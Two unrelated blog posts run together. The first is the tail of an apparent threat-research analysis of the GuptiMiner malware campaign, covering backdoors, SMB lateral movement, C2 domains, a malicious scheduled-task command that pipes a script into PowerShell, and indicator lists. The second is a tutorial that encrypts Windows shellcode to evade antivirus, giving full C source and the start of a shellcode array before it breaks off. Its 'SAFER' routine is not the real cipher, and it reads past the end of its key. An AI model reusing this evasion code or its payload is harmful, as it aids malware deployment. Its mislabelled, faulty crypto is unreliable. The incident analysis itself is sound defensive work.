After that, the malware runs a command to check and get a number of computers joined in a domain:
net group “domain computers” /domain

The data printed by the net group command typically uses 25 characters per domain joined computer plus a newline (CR+LF) per every three computers, which can be illustrated by the example below: 

Example output of net group command

In this version of the backdoor setup, Puppeteer checks whether the number of returned bytes is more than 100. If so, Puppeteer assumes it runs in a network shared with at least five computers and downloads additional payloads from a hardcoded C&C (https://m.airequipment[.]net/gpse/) and executes it using PowerShell command. 

Note that the threshold for the number of returned bytes was different and significantly higher in later versions of GuptiMiner, as can be seen in a dedicated section discussing Modular Backdoor, resulting in compromising only those networks which had more than 7000 computers joined in the same domain! 

If the checks above pass, Puppeteer uses a PowerShell command for downloading and executing the payload and, interestingly, it is run both in the current process as well as injected in explorer.exe

Furthermore, regardless of whether the infected computer is present in a network of a certain size or not, it tries to download additional payload from dl.sneakerhost[.]com/u as well. This payload is yet another PNG file with the appended shellcode. We know this because the code uses the exact same parsing from the specific offset 0x325 of the PNG file as described in Stage 1. However, during our analysis, this domain was already taken down and we couldn’t verify what kind of payload was being distributed here. 

The Puppeteer’s backdoor setup process was improved and tweaked multiple times during its long development. In the upcoming subsections, we will focus on more important changes, mostly those which influence other parts of the malware or present a whole new functionality. 

Later Puppeteer Versions 

In later versions, the attackers switched to the datetime mutex paradigm (as illustrated in Mutexes in Time section) and also introduced additional process monitoring of more Sysinternals tools like Process explorer, Process monitor, as well as other tools like OllyDbg, WinDbg, and TeamViewer. 

Pool Configuration

487624b44b43dacb45fd93d03e25c9f6d919eaa6f01e365bb71897a385919ddd
(2023-11-21 18:05:43 UTC) 

Additionally, the GuptiMiner authors also started to modify pool addresses in XMRig configurations with a new approach. They started using subdomains by “r” and “m” depending on the available physical memory on the infected system. If there is at least 3 GB of RAM available, the malware uses:
m.domain.tld with auto mode and enabled huge pages.

If the available RAM is lesser than 3 GB, it uses:
r.domain.tld with light mode and disabled huge pages.

In order to not keep things simple, the authors later also started to use “p” as a subdomain in some versions, without any specific reason for the naming convention (perhaps just to say it is a “pool”). 

The usage of all such domains in time can be seen in the Domains timeline

Variety in Used DLLs 

Puppeteer used many different names and locations of DLLs over the years for sideloading or directly loading using scheduled tasks. For example, these might be: 

  • C:\Program Files (x86)\eScan\updll3.dll3 
  • C:\Program Files\Common Files\SYSTEM\SysResetErr\SysResetErr.DLL 
  • C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellChecking.DLL 
  • C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellCheckingHost.DLL 
  • C:\ProgramData\AMD\CNext\atiadlxx.dll 
  • C:\ProgramData\Microsoft\Assistance\LunarG\vulkan-1.dll 
  • C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll 
  • C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3 
  • C:\ProgramData\Microsoft\Network\Escan\AutoWake.dll 

Puppeteer Cleanup 

1c31d06cbdf961867ec788288b74bee0db7f07a75ae06d45d30355c0bc7b09fe
(2020-03-09 00:57:11 UTC)

We’ve also seen “cleaner” Puppeteers, meaning they didn’t contain the setup process for backdoors, but they were able to delete the malicious DLLs from the system when a running monitoring tool was detected. 

Deploy Per-Quarter 

1fbc562b08637a111464ba182cd22b1286a185f7cfba143505b99b07313c97a4
(2021-03-01 10:43:27 UTC) 

In this particular version, the deployment of the backdoor was performed once every 3 months, indicating a per-quarter deployment.

The deployment happens at March, June, September, and December

Stage 4 – Backdoor 

Since no one who puts such an effort into a malware campaign deploys just coinminers on the infected devices, let’s dig deeper into additional sets of GuptiMiner’s functionalities – deploying two types of backdoors on the infected devices.

PuTTY Backdoor 

07beca60c0a50520b8dbc0b8cc2d56614dd48fef0466f846a0a03afbfc42349d
(2021-03-01 10:31:33 UTC)

E:\Projects\putty-src\windows\VS2012\x64\Release\plink.pdb

One of the backdoors deployed by GuptiMiner is based on a custom build of PuTTY Link (plink). This build contains an enhancement for local SMB network scanning, and it ultimately enables lateral movement over the network to potentially exploit Windows 7 and Windows Server 2008 machines by tunneling SMB traffic through the victim’s infected device. 

Local SMB Scanning 

First, the plink binary is injected into netsh.exe process by Puppeteer with the Deploy per-quarter approach. After a successful injection, the malware discovers local IP ranges by reading the IP tables from the victim’s device, adding those into local and global IP range lists. 

With that, the malware continues with the local SMB scanning over the obtained IP ranges: xx.yy.zz.1-254. When a device supporting SMB is discovered, it is saved in a dedicated list. The same goes with IPs that don’t support SMB, effectively deny listing them from future actions. This deny list is saved in specific registry subkeys named Sem and Init, in this location:
HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\CMF\Class
where Init contains the found IP addresses and Sem contains their total count. 

There are conditions taking place when such a scan is performed. For example, the scan can happen only when it is a day in the week (!), per-quarter deployment, and only at times between 12 PM and 18 PM. Here, we denoted by (!) a unique coding artefact in the condition, since checking the day of the week is not necessary (always true). 

Questionable conditioning for SMB scanning

Finally, the malware also creates a new registry key HKEY_LOCAL_MACHINE\SYSTEM\RNG\FFFF three hours after a successful scan. This serves as a flag that the scanning should be finished, and no more scanning is needed. 

An even more interesting datetime-related bug can be seen in a conditioning of RNG\FFFF registry removal. The removal is done to indicate that the malware can perform another SMB scan after a certain period of time. 

As we can see in the figure below, the malware obtains the write time of the registry key and the current system time by SystemTimeToVariantTime API function and subtracts those. The subtraction result is a floating-point number where the integral part means number of days. 

Furthermore, the malware uses a constant 60*60*60*24=5184000 seconds (60 days) in the condition for the registry key removal. However, the condition is comparing VariantTime (days) with seconds. Thus, the backdoor can activate every 51.84 days instead of the (intended?) 60 days. A true blessing in disguise. 

Removal of RNG\FFFF key, deploying the backdoor after 51.84 days

Lateral Movement Over SMB Traffic 

After the local SMB scan is finished, the malware checks from the received SMB packet results whether any of the IP addresses that responded are running Windows 7 or Windows Server 2008. If any such a system is found on the local network, the malware adds these IP addresses to a list of potential targets. 

Furthermore, GuptiMiner executes the main() legacy function from plink with artificial parameters. This will create a tunnel on the port 445 between the attacker’s server gesucht[.]net and the victim’s device. 

Parameters used for plink main() function

This tunnel is used for sending SMB traffic through the victim’s device to the IP addresses from the target list, enabling lateral movement over the local network. 

Note that this version of Puppeteer, deploying this backdoor, is from 2021. We also mentioned that only Windows 7 and Windows Server 2008 are targeted, which are rather old. We think this might be because the attackers try to deploy an exploit for possible vulnerabilities on these old systems. 

To orchestrate the SMB communication, the backdoor hand-crafts SMB packets on the fly by modifying TID and UID fields to reflect previous SMB communication. As shown in the decompiled code below, the SMB packet 4, which is crafted and sent by the malware, contains both TID and UID from the responses of the local network device. 

The backdoor hand-crafts SMB packets on the fly

Here we provide an example how the SMB packets look like in Wireshark when sent by the malware. After the connection is established, the malware tries to login as anonymous and makes requests for \IPC$ and a named pipe.

SMB traffic captured by Wireshark

Interested reader can find the captured PCAP on our GitHub.

Modular Backdoor 

f0ccfcb5d49d08e9e66b67bb3fedc476fdf5476a432306e78ddaaba4f8e3bbc4
(2023-10-10 15:08:36 UTC) 

Another backdoor that we’ve found during our research being distributed by Puppeteer is a modular backdoor which targets huge corporate networks. It consists of two phases – the malware scans the devices for the existence of locally stored private keys and cryptocurrency wallets, and the second part is an injected modular backdoor, in the form of a shellcode. 

Checks on Private Keys, Wallets, and Corporate Network

This part of the backdoor focuses on scanning for private keys and wallet files on the system. This is done by searching for .pvk and .wallet files in these locations: 

  • C:\Users\* 
  • D:\* 
  • E:\* 
  • F:\* 
  • G:\* 

If there is such a file found in the system, its path is logged in a newly created file C:\Users\Public\Ca.txt. Interestingly, this file is not processed on its own by the code we have available. We suppose the data will be stolen later when further modules are downloaded by the backdoor. 

The fact that the scan was performed is marked by creating a registry key:
HKEY_LOCAL_MACHINE\SYSTEM\Software\Microsoft\DECLAG 

If some private keys or wallets were found on the system or the malware is running in a huge corporate environment, the malware proceeds with injecting the backdoor, in a form of a shellcode, into the mmc.exe process. 

The size of the corporate environment is guessed by the same approach as Puppeteer’s backdoor setup with the difference in the scale. Here, the malware compares the returned list of computers in the domain with 200,000 characters. To recapitulate, the data printed by the net group command uses 25 characters per domain joined computer plus a newline (CR+LF) per every three computers. 

Example output of net group command

This effectively means that the network in which the malware operates must have at least 7781 computers joined in the domain, which is quite a large number.

Backdoor

8446d4fc1310b31238f9a610cd25ea832925a25e758b9a41eea66f998163bb34 

This shellcode is a completely different piece of code than what we’ve seen so far across GuptiMiner campaign. It is designed to be multi-modular with the capability of adding more modules into the execution flow. Only a networking communication module, however, is hardcoded and available by default, and its hash is 74d7f1af69fb706e87ff0116b8e4fa3a9b87275505e2ee7a32a8628a2d066549 (2022-12-19 07:31:39 UTC)

After the injection, the backdoor decrypts a hardcoded configuration and a hardcoded networking module using RC4. The RC4 key is also hardcoded and available directly in the shellcode. 

The configuration contains details about which server to contact, what ports to use, the length of delays that should be set between commands/requests, among others. The domain for communication in this configuration is www.righttrak[.]net:443 and an IP address 185.248.160[.]141.

Decrypted network module configuration

The network module contains seven different commands that the attacker can use for instructing the backdoor about what to do. A complete list of commands accepted by the network module can be found in the table below. Note that each module that can be used by the backdoor contains such a command handler on its own. 

Command Description 
3.0 Connect 
3.1 Read socket 
3.2 Write socket 
3.3 Close socket 
Close everything 
Return 1 
12 Load configuration 

The modules are stored in an encrypted form in the registry, ensuring their persistence:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCB

The backdoor also uses an import by hash obfuscation for resolving API functions. The hashing function is a simple algorithm that takes each byte of the exported function name, adds 1 to it, and then multiplies the previously calculated number (calculated_hash, starts with 0) by 131 and adds it to the byte:

The server www.righttrak[.]net:443 had, at the time, a valid certificate. Note for example the not-at-all-suspicious email address the authors used. 

Certificate on www.righttrak[.]net:443 as shown by Censys

Other Infection Vectors of Modular Backdoor

af9f1331ac671d241bf62240aa52389059b4071a0635cb9cb58fa78ab942a33b

During our research, we have also found a 7zip SFX executable containing two files: 

  • ms00.dat 
  • notepad.exe 

notepad.exe is a small binary that decrypts ms00.dat file using RC4 with a key V#@!1vw32. The decrypted ms00.dat file is the same Modular Backdoor malware as described above. 

However, we have not seen this SFX executable being distributed by GuptiMiner. This indicates that this backdoor might be distributed by different infection vectors as well. 

Related and Future Research

We’ve also observed other more or less related samples during our research. 

PowerShell Scripts

Interestingly, we’ve found the C&C domain from the backdoor setup phase (in Puppeteer) in additional scripts as well which were not distributed by traditional GuptiMiner operation as we know it. We think this might be a different kind of attack sharing the GuptiMiner infrastructure, though it might be a different campaign. Formatted PowerShell script can be found below: 

A PowerShell script targeting eScan (formatted)

In this case, the payload is downloaded and executed from the malicious domain only when an antivirus is installed, and its name has more than 4 letters and starts with eS. One does not have to be a scrabble champion to figure out that the malware authors are targeting the eScan AV once again. The malicious code is also run when the name of the installed AV has less than 5 letters. 

We’ve found this script being run via a scheduled task with a used command:
"cmd.exe" /c type "\<domain>\SYSVOL\<domain>\scripts\gpon.inc" | "\<domain>\SYSVOL\<domain>\scripts\powAMD64.dat" -nop - 
where powAMD64.dat is a copy of powershell.exe. The task name and location was C:\Windows\System32\Tasks\ScheduledDefrag 

Usage of Stolen Certificates 

We have found two stolen certificates used for signing GuptiMiner payloads. Interestingly, one of the used stolen certificates originates in Winnti operations. In this particular sample, the digital signature has a hash: 
529763AC53562BE3C1BB2C42BCAB51E3AD8F8A56 

This certificate is the same as mentioned by Kaspersky more than 10 years ago. However, we’ve also seen this certificate to be used in multiple malware samples than just GuptiMiner, though, indicating a broader leak. 

A complete list of stolen certificates and their usage can be found in the table below: 

Stolen certificate SHA1 Signed GuptiMiner sample 
529763AC53562BE3C1BB2C42BCAB51E3AD8F8A56 31dfba1b102bbf4092b25e63aae0f27386c480c10191c96c04295cb284f20878 
529763AC53562BE3C1BB2C42BCAB51E3AD8F8A56 8e96d15864ec0cc6d3976d87e9e76e6eeccc23c551b22dcfacb60232773ec049 
31070C2EA30E6B4E1C270DF94BE1036AE7F8616B b0f94d84888dffacbc10bd7f9983b2d681b55d7e932c2d952d47ee606058df54 
31070C2EA30E6B4E1C270DF94BE1036AE7F8616B f656a418fca7c4275f2441840faaeb70947e4f39d3826d6d2e50a3e7b8120e4e 

Possible Ties to Kimsuky 

7f1221c613b9de2da62da613b8b7c9afde2ea026fe6b88198a65c9485ded7b3d
(2021-03-06 20:13:32 UTC) 

During our research, we’ve also found an information stealer which holds a rather similar PDB path as was used across the whole GuptiMiner campaign (MainWork):
F:\!PROTECT\Real\startW-2008\MainWork\Release\MainWork.pdb 

However, we haven’t seen it distributed by GuptiMiner and, according to our data, it doesn’t belong to the same operation and infection chain. This malware performs stealing activities like capturing every keystroke, harvesting HTML forms from opened browser tabs, noting times of opened programs, etc., and stores them in log files. 

What is truly interesting, however, is that this information stealer might come from Kimsuky operations. Also known as Black Banshee, among other aliases, Kimsuky is a North Korean state-backed APT group. 

It contains the similar approach of searching for AhnLab real-time detection window class name 49B46336-BA4D-4905-9824-D282F05F6576 as mentioned by both AhnLab as well as Cisco Talos Intelligence in their Information-gathering module section. If such a window is found, it will be terminated/hidden from the view of the infected user. 

Function that searches and terminates AhnLab’s real-time detection window class

Furthermore, the stealer contains an encrypted payload in resources, having a hash: d5bc6cf988c6d3c60e71195d8a5c2f7525f633bb54059688ad8cfa1d4b72aa6c (2021-02-19 19.02.2021 15:00:47 UTC) and it has this PDB path:
F:\PROTECT\Real\startW-2008\HTTPPro\Release\HTTPPro.pdb 

This module is decrypted using the standard RC4 algorithm with the key messi.com. The module is used for downloading additional stages. One of the used URLs are:
http://stwu.mygamesonline[.]org/home/sel.php
http://stwu.mygamesonline[.]org/home/buy.php?filename=%s&key=%s 

The domain mygamesonline[.]org is commonly used by Kimsuky (with variety of subdomains). 

The keylogger also downloads next stage called ms12.acm

The next stage is downloaded with a name ms12.acm

With this, we see a possible pattern with the naming convention and a link to Modular Backdoor. As described in the Other Infection Vectors section, the 7z SFX archive contains an encrypted file called ms00.dat with which we struggle to ignore the resemblance.

Last but not least, another strong indicator for a possible attribution is the fact that the Kimsuky keylogger sample dddc57299857e6ecb2b80cbab2ae6f1978e89c4bfe664c7607129b0fc8db8b1f, which is mentioned in the same blogpost from Talos, contains a section called .vlizer, as seen below: 

Kimsuky keylogger sections

During the GuptiMiner installation process (Stage 0), we wrote about the threat actors introducing Code Virtualization in 2018. This was done by using a dedicated section called .v_lizer

Conclusion 

In this analysis, we described our findings regarding a long-standing threat we called GuptiMiner, in detail. This sophisticated operation has been performing MitM attacks targeting an update mechanism of the eScan antivirus vendor. We disclosed the security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved. 

During the GuptiMiner operation, the attackers were deploying a wide chain of stages and functionalities, including performing DNS requests to the attacker’s DNS servers, sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others. 

Two different types of backdoors were discovered, targeting large corporate networks. The first provided SMB scanning of the local network, enabling lateral movement over the network to potentially exploit vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands on background to install more modules as well as focusing on stealing stored private keys and cryptowallets. 

Interestingly, the final payload distributed by GuptiMiner was also XMRig which is a bit unexpected for such a thought-through operation. 

We have also found possible ties to Kimsuky, a notorious North Korean APT group, while observing similarities between Kimsuky keylogger and fragments discovered during the analysis of the GuptiMiner operation. 

eScan follow-up

We have shared our findings and our research with eScan prior to publishing this analysis. For the sake of completeness, we are including their statement on this topic:

“I would also like to highlight some key points:
1. Our records indicate that the last similar report was received towards the end of the year 2019.
2. Since 2020, we have implemented a stringent checking mechanism that utilizes EV Signing to ensure that non-signed binaries are rejected.
3. Multiple heuristic rules have been integrated into our solution to detect and block any instances of legitimate processes being used for mining, including the forking of unsigned binaries.
4. While our internal investigations did not uncover instances of the XRig miner, it is possible that this may be due to geo-location factors.
5. Our latest solution versions employ secure (https) downloads, ensuring encrypted communication when clients interact with our cloud-facing servers for update downloads.”

According to our telemetry, we continue to observe new infections and GuptiMiner builds within our userbase. This may be attributable to eScan clients on these devices not being updated properly.

Indicators of Compromise (IoCs)

In this section, we would like to summarize the Indicators of Compromise mentioned in this analysis. As they are indicators, it doesn’t automatically mean the mentioned files and/or domains are malicious on their own. 

For more detailed list of IoCs of the whole GuptiMiner campaign, please visit our GitHub.

Evolution and Timelines 

Domains 

Domain
_spf.microsoft[.]com
acmeautoleasing[.]net
b.guterman[.]net
breedbackfp[.]com
crl.microsoft[.]com
crl.peepzo[.]com
crl.sneakerhost[.]com
desmoinesreg[.]com
dl.sneakerhost[.]com
edgesync[.]net
espcomp[.]net
ext.microsoft[.]com
ext.peepzo[.]com
ext.sneakerhost[.]com
gesucht[.]net
gesucht[.]net
globalsign.microsoft[.]com
icamper[.]net
m.airequipment[.]net
m.cbacontrols[.]com
m.gosoengine[.]com
m.guterman[.]net
m.indpendant[.]com
m.insomniaccinema[.]com
m.korkyt[.]net
m.satchmos[.]net
m.sifraco[.]com
ns.bretzger[.]net
ns.deannacraite[.]com
ns.desmoinesreg[.]com
ns.dreamsoles[.]com
ns.editaccess[.]com
ns.encontacto[.]net
ns.gravelmart[.]net
ns.gridsense[.]net
ns.jetmediauk[.]com
ns.kbdn[.]net
ns.lesagencestv[.]net
ns.penawarkanser[.]net
ns.srnmicro[.]net
ns.suechiLton[.]com
ns.trafomo[.]com
ns.trafomo[.]com
ns1.earthscienceclass[.]com
ns1.peepzo[.]com
ns1.securtelecom[.]com
ns1.sneakerhost[.]com
p.bramco[.]net
p.hashvault[.]pro
r.sifraco[.]com
spf.microsoft[.]com
widgeonhill[.]com
www.bascap[.]net

Mutexes 

Mutex 
ESOCESS_ 
Global\Fri Aug 13 02:17:49 2021 
Global\Fri Aug 13 02:22:55 2021 
Global\Mon Apr 19 06:03:17 2021 
Global\Mon Apr 24 07:19:54 2023 
Global\Mon Feb 27 08:11:25 2023 
Global\Mon Jun 14 03:22:57 2021 
Global\Mon Mar 13 07:29:11 2023 
Global\Mon Mar 22 09:16:00 2021 
Global\Sun Jun 13 08:22:07 2021 
Global\Thu Aug 10 03:25:11 2023 
Global\Thu Aug 12 02:07:58 2021 
Global\Thu Feb 23 08:37:09 2023 
Global\Thu Mar 25 02:03:14 2021 
Global\Thu Mar 25 09:31:19 2021 
Global\Thu Nov  2 08:21:56 2023 
Global\Thu Nov  9 06:19:40 2023 
Global\Tue Apr 25 08:32:05 2023 
Global\Tue Mar 23 02:37:32 2021 
Global\Tue Oct 10 08:07:11 2023 
Global\Wed Aug 11 09:16:37 2021 
Global\Wed Jan  5 09:15:56 2022 
Global\Wed Jun  2 09:43:03 2021 
Global\Wed Mar  1 01:29:48 2023 
Global\Wed Mar 23 08:56:01 2022 
Global\Wed Mar 23 09:06:36 2022 
Global\Wed May 10 06:38:46 2023 
Global1 
GlobalMIVOD_V4 
GMCM1 
MIVOD_6 
MTX_EX01 
Mutex_ONLY_ME_V1 
Mutex_ONLY_ME_V2 
Mutex_ONLY_ME_V3 
PROCESS_ 
SLDV014 
SLDV02 
SLDV024 
SLDV04 
SLDV10 
SLDV11 
SLDV13 
SLDV15 
SLDV17 
SLDV22 
SLDV26 

PDB paths 

PDB path
E:\projects\projects\RunCompressedSC\x64\Release\RunCompressedSC.pdb
E:\Projects\putty-src\windows\VS2012\x64\Release\plink.pdb
F:\CODE-20221019\Projects\RunCompressedSC\x64\Release\RunCompressedSC.pdb
F:\Pro\MainWork\Release\MainWork.pdb
F:\Pro\MainWork\x64\Release\MainWork.pdb
F:\Projects\2020-NEW\20200307-NEW\MainWork-VS2017-IPHLPAPI\Release\MainWork.pdb
F:\Projects\2020-NEW\20200307-NEW\MainWork-VS2017-IPHLPAPI\x64\Release\MainWork.pdb
F:\Projects\2020-NEW\20200307-NEW\MainWork-VS2017-nvhelper\Release\MainWork.pdb
F:\Projects\2020-NEW\20200307-NEW\MainWork-VS2017-nvhelper\x64\Release\MainWork.pdb
F:\Projects\RunCompressedSC\x64\Release\RunCompressedSC.pdb
F:\V202102\MainWork-VS2017 – Monitor\Release\MainWork.pdb
F:\V202102\MainWork-VS2017 – Monitor\x64\Release\MainWork.pdb
H:\projects\MainWork\Release\MainWork.pdb

Stage 0 – Installation Process 

IoC Note 
http://update3[.]mwti[.]net/pub/update/updll3.dlz  
c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3 C:\Program Files\eScan\VERSION.DLL 
7a1554fe1c504786402d97edecc10c3aa12bd6b7b7b101cfc7a009ae88dd99c6 updll65.dlz 

Stage 0.9 – Installation Improvements 

Stage 1 – PNG Loader 

IoC Note 
ff884d4c01fccf08a916f1e7168080a2d740a62a774f18e64f377d23923b0297  
ext.peepzo[.]com  
crl.peepzo[.]com  
ns1.peepzo[.]com  
http://www.deanmiller[.]net/m/  
294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a  
185.45.192[.]43/elimp/  
6305d66aac77098107e3aa6d85af1c2e3fc2bb1f639e4a9da619c8409104c414
SYSTEM\CurrentControlSet\Control\Arbiters\Class Registry 
SYSTEM\CurrentControlSet\Control\CMF\Class Registry 
SYSTEM\CurrentControlSet\Control\CMF\CORE Registry 
SYSTEM\CurrentControlSet\Control\CMF\DEF Registry 
SYSTEM\CurrentControlSet\Control\CMF\Els Registry 
SYSTEM\CurrentControlSet\Control\CMF\ASN Registry 
SYSTEM\CurrentControlSet\Control\MSDTC\BSR Registry 

Stage 2 – Gzip Loader 

IoC Note 
357009a70daacfc3379560286a134b89e1874ab930d84edb2d3ba418f7ad6a0b  

Stage 3 – Puppeteer 

Ioc Note 
364984e8d62eb42fd880755a296bd4a93cc071b9705c1f1b43e4c19dd84adc65  
C:\ProgramData\Microsoft\Crypto\Escan\dss.exe  
C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3   
C:\Windows\system32\tasks\Microsoft\windows\autochk\ESUpgrade Scheduled task 
HKEY_LOCAL_MACHINE\SOFTWARE\AVC3 Registry 
\Device\HarddiskVolume1\Program Files (x86)\eScan\download.exe  
4dfd082eee771b7801b2ddcea9680457f76d4888c64bb0b45d4ea616f0a47f21  
SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server Registry 
net group ”domain computers” /domain Command 
https://m.airequipment[.]net/gpse/  
487624b44b43dacb45fd93d03e25c9f6d919eaa6f01e365bb71897a385919ddd  
C:\Program Files (x86)\eScan\updll3.dll3  
C:\Program Files\Common Files\SYSTEM\SysResetErr\SysResetErr.DLL  
C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellChecking.DLL  
C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellCheckingHost.DLL  
C:\ProgramData\AMD\CNext\atiadlxx.dll  
C:\ProgramData\Microsoft\Assistance\LunarG\vulkan-1.dll  
C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll  
C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3  
C:\ProgramData\Microsoft\Network\Escan\AutoWake.dll  
1c31d06cbdf961867ec788288b74bee0db7f07a75ae06d45d30355c0bc7b09fe  
1fbc562b08637a111464ba182cd22b1286a185f7cfba143505b99b07313c97a4  

Stage 4 – Backdoor 

IoC Note 
07beca60c0a50520b8dbc0b8cc2d56614dd48fef0466f846a0a03afbfc42349d  
E:\Projects\putty-src\windows\VS2012\x64\Release\plink.pdb PDB 
HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\CMF\Class Registry 
HKEY_LOCAL_MACHINE\SYSTEM\RNG\FFFF  Registry 
gesucht[.]net  
f0ccfcb5d49d08e9e66b67bb3fedc476fdf5476a432306e78ddaaba4f8e3bbc4  
HKEY_LOCAL_MACHINE\SYSTEM\Software\Microsoft\DECLAG Registry 
8446d4fc1310b31238f9a610cd25ea832925a25e758b9a41eea66f998163bb34 Shellcode 
74D7F1AF69FB706E87FF0116B8E4FA3A9B87275505E2EE7A32A8628A2D066549  
www.righttrak[.]net:443   
185.248.160[.]141  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCB Registry 
af9f1331ac671d241bf62240aa52389059b4071a0635cb9cb58fa78ab942a33b  

Related and Future Research 

IoC Note 
“cmd.exe” /c type “\<domain>\SYSVOL\<domain>\scripts\gpon.inc” | “\<domain>\SYSVOL\<domain>\scripts\powAMD64.dat” -nop – Command 
C:\Windows\System32\Tasks\ScheduledDefrag Scheduled task 
529763AC53562BE3C1BB2C42BCAB51E3AD8F8A56 Certificate SHA1 
31070C2EA30E6B4E1C270DF94BE1036AE7F8616B Certificate SHA1 
31dfba1b102bbf4092b25e63aae0f27386c480c10191c96c04295cb284f20878  
8e96d15864ec0cc6d3976d87e9e76e6eeccc23c551b22dcfacb60232773ec049  
b0f94d84888dffacbc10bd7f9983b2d681b55d7e932c2d952d47ee606058df54  
f656a418fca7c4275f2441840faaeb70947e4f39d3826d6d2e50a3e7b8120e4e  
7f1221c613b9de2da62da613b8b7c9afde2ea026fe6b88198a65c9485ded7b3d  
F:\!PROTECT\Real\startW-2008\MainWork\Release\MainWork.pdb PDB 

The post GuptiMiner: Hijacking Antivirus Updates for Distributing Backdoors and Casual Mining appeared first on Avast Threat Labs.

Malware and cryptography 26: encrypt/decrypt payload via SAFER. Simple C/C++ example.

9 April 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

SAFER

SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit key size. It’s notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.

SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.

practical example

For practical example, here is the step-by-step flow of the SAFER-64:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
}

// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;

So, the encryption function looks like this:

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

What about decryption logic? The decryption process is not much different from encryption:

// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];

// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
  T = L ^ key_ptr[(i % 4) + 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  R ^= (T + L);
  T = R ^ key_ptr[i % 4];
  T = (T << 1) | (T >> 31); // Rotate left by 1 bit
  L ^= (T + R);
}

// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;

Respectively, SAFER-64 Decryption Function looks like this:

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

Full source code for my main logic (“malicious” payload encryption) look like this (hack.c):

/*
 * hack.c - encrypt and decrypt shellcode via SAFER. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/04/09/malware-cryptography-26.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BLOCK_SIZE 8 // 64 bits
#define ROUNDS 6

void safer_encrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = 0; i < ROUNDS; i++) {
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

void safer_decrypt(unsigned char *data, unsigned char *key) {
  unsigned int *data_ptr = (unsigned int *)data;
  unsigned int *key_ptr = (unsigned int *)key;
  unsigned int L, R, T;
  int i;

  L = data_ptr[0];
  R = data_ptr[1];

  for (i = ROUNDS - 1; i >= 0; i--) {
    T = L ^ key_ptr[(i % 4) + 4];
    T = (T << 1) | (T >> 31);
    R ^= (T + L);
    T = R ^ key_ptr[i % 4];
    T = (T << 1) | (T >> 31);
    L ^= (T + R);
  }

  data_ptr[0] = L;
  data_ptr[1] = R;
}

int main() {
  unsigned char key[] = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
